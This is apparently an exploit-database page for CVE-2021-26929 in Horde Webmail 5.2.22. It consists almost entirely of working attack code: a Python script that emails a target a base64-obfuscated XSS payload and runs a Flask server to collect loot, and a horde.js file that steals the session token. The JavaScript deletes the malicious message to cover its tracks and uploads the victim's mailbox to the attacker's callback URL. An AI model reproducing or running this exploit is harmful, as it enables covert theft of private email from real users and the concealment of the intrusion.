View source for CVE-2021-26929 Webmail Edition 5.2.22 XSS&遠程命令執行漏洞

==EXP==
<pre>
#!/usr/bin/python3
# debug nu11secur1ty 2021
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse
 
class Exploit:
    def __init__(self, args):
        # Database
        if not os.path.exists('database.db'):
            with sqlite3.connect("database.db") as conn:
                cursor = conn.cursor()
                cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL
UNIQUE, content BLOB NOT NULL);')
                conn.commit()
        # SMTP URL
        o = urlparse(args.smtp)
        self.smtp = {
            'ssl': o.scheme.lower() == 'smtps',
            'host': o.hostname or '127.0.0.1',
            'port': o.port or ('465' if o.scheme.lower() == 'smtps' else
'25'),
            'username': '' or o.username,
            'password': '' or o.password
        }
        try:
            if self.smtp['ssl']:
                context = ssl.create_default_context()
                context.verify_mode = ssl.CERT_OPTIONAL
                context.check_hostname = False
                self.server = smtplib.SMTP_SSL(self.smtp['host'],
self.smtp['port'], context=context)
            else:
                self.server = smtplib.SMTP(self.smtp['host'],
self.smtp['port'])
        except Exception as e:
            print(e)
            print('[-] Error connecting to SMTP server!')
            exit()
        try:
            self.server.login(self.smtp['username'], self.smtp['password'])
        except:
            pass
        # Callback URL
        o = urlparse(args.callback)
        self.callback = {
            'url': '{}://{}'.format(o.scheme, o.netloc),
            'path': ''.join(random.choice(string.ascii_letters) for i in
range(20))
        }
        # Listener URL
        o = urlparse(args.listener)
        self.listener = {
            'ssl': o.scheme.lower() == 'https',
            'host': o.hostname or '0.0.0.0',
            'port': o.port or 80,
            'horde': ''.join(random.choice(string.ascii_letters) for i in
range(20))
        }
        # Target email
        self.target = args.target
        # Subject
        self.subject = args.subject or 'Important Message'
        # Environment
        self.env = {}
        self.env['mailbox'] = args.mailbox or 'INBOX'
        self.env['callback'] = '{}/{}'.format(self.callback['url'],
self.callback['path'])
 
    def trigger(self):
        print('[*] Waiting for emails...')
        self.bypass_auth()
        print('\n[*] Done')
 
    def bypass_auth(self):
        def horde():
            f = open('horde.js')
            content = 'env = {};\n\n{}'.format(json.dumps(self.env),
f.read())
            f.close()
            return content
 
        def callback():
            response = Response('')
            with sqlite3.connect("database.db") as conn:
                try:
                    if request.files.get('mbox'):
                        filename =
request.files.get('mbox').filename.replace('zip', 'mbox')
                        content = request.files.get('mbox').stream.read()
                        zipdata = io.BytesIO()
                        zipdata.write(content)
                        content = zipfile.ZipFile(zipdata)
                        content = content.open(filename).read()
                        mail_hash =  hashlib.sha1(content).digest().hex()
                        print('[+] Received mailbox
({})'.format(mail_hash))
                        cursor = conn.cursor()
                        cursor.execute('INSERT INTO mailbox (hash, content)
VALUES (?, ?)', (mail_hash, content))
                except:
                    pass
            response.headers['Access-Control-Allow-Origin'] = '*'
            return response
 
        payload = 'var
s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'],
self.listener['horde'])
        payload =
'<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject,
self.smtp['username'], self.target)
        # The secret services :)
        content +=
'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        self.server.sendmail(self.smtp['username'], self.target, content)
        app = Flask(__name__)
        app.add_url_rule('/{}'.format(self.listener['horde']), 'horde',
horde)
        app.add_url_rule('/{}'.format(self.callback['path']), 'callback',
callback, methods=['POST'])
        logging.getLogger('werkzeug').setLevel(logging.ERROR)
        cli = sys.modules['flask.cli']
        cli.show_server_banner = lambda *x: None
        try:
            if self.listener['ssl']:
                app.run(host=self.listener['host'],
port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
            else:
                app.run(host=self.listener['host'],
port=self.listener['port'])
        except:
            pass
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--smtp', help='SMTP URL', required=True,
metavar='URL')
    parser.add_argument('--callback', help='Callback URL', required=True,
metavar='URL')
    parser.add_argument('--listener', help='Listener URL', metavar='URL')
    parser.add_argument('--target', help='Target email', required=True,
metavar='EMAIL')
    parser.add_argument('--subject', help='Email subject',
metavar='SUBJECT')
    parser.add_argument('--mailbox', help='Mailbox from which to steal the
emails', metavar='INBOX')
    args = parser.parse_args()
    exploit = Exploit(args)
    exploit.trigger()
horde.js
 
class Exploit {
    constructor() {
        this.basepath = document.location.pathname.substring(0,
document.location.pathname.indexOf('imp'));
    }
 
    trigger() {
        this.mailbox = this.get_mailbox();
        this.buid = this.get_buid();
        this.token = this.get_token();
        this.auto_delete()
        .then(() => {
            this.exfiltrate_emails({mailbox: env.mailbox});
        });
    }
 
    async auto_delete() {
        let params = new URLSearchParams()
        params.append('token', this.token);
        params.append('view', this.mailbox);
        params.append('buid', this.buid);
        return fetch(this.basepath +
'services/ajax.php/imp/deleteMessages', {
            method: 'POST',
            body: params
        })
        .then(() => {
            let params = new URLSearchParams();
            params.append('token', this.token);
            params.append('view', this.mailbox);
            return fetch(this.basepath +
'services/ajax.php/imp/purgeDeleted', {
                method: 'POST',
                body: params
            })
            .then(() => {
                if (document.getElementById('checkmaillink') !== null) {
                    document.getElementById('checkmaillink').click();
                }
            });
        });
    }
 
    async exfiltrate_emails(args) {
        let mbox_list = '["' + this.get_mailbox() + '"]';
        if (args.mailbox.toUpperCase() != 'INBOX') {
            let params = new URLSearchParams();
            params.append('reload', '1');
            params.append('unsub', '1');
            params.append('token', this.token);
            let mailboxes = await fetch(this.basepath +
'services/ajax.php/imp/listMailboxes', {
                method: 'POST',
                body: params
            })
            .then(response => {
                return response.text();
            })
            .then(data => {
                return JSON.parse(data.substring(10, data.length - 2));
 
            });
            mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
                if (mailbox.l.toUpperCase() == args.mailbox) {
                    if (mbox_list === undefined) {
                        mbox_list = '["' + mailbox.m + '"]';
                    }
                }
            });
        }
        let zip = await fetch(this.basepath +
'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list
+ '&type=mboxzip&token=' + this.token + '&fn=/')
        .then(response => {
            return [response.blob(),
response.headers.get('Content-Disposition')];
        });
        let filename = zip[1];
        filename = filename.substring(filename.indexOf('filename="') + 10,
filename.length - 1);
        zip = await zip[0];
        let formData = new FormData();
        formData.append('mbox', zip, filename);
        fetch(window.env.callback, {
            method: 'POST',
            body: formData
        });
    }
 
    get_token() {
        let link;
        let token;
        if (document.getElementsByClassName('smartmobile-logout').length >
0) {
            link =
document.getElementsByClassName('smartmobile-logout')[0].href;
        }
        else if (document.getElementById('horde-logout') !== null) {
            link =
document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
        }
        else {
            link = location.href;
        }
        if (link.match('horde_logout_token=(.*)&') !== null) {
            token = link.match('horde_logout_token=(.*)&')[1];
        }
        if (token === undefined && link.match('token=(.*)&') !== null) {
            token = link.match('token=(.*)&')[1];
        }
        return token;
    }
 
    get_mailbox() {
        if (window.DimpBase !== undefined) {
            return
DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
                VP_id: {
                    equal: [ DimpBase.pp.VP_id ]
                }
            }).get('dataob').first().VP_view;
        }
        else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
            return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
        }
        else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
            return location.href.match('mbox=([A-Za-z0-9]*)')[1];
        }
    }
 
    get_buid() {
        if (location.href.match('buid=([0-9]*)') !== null) {
            return location.href.match('buid=([0-9]*)')[1];
        }
        else if (location.href.match(';([0-9]*)') !== null) {
            return location.href.match(';([0-9]*)')[1];
        }
    }
}
 
const exploit = new Exploit();
exploit.trigger();
</pre>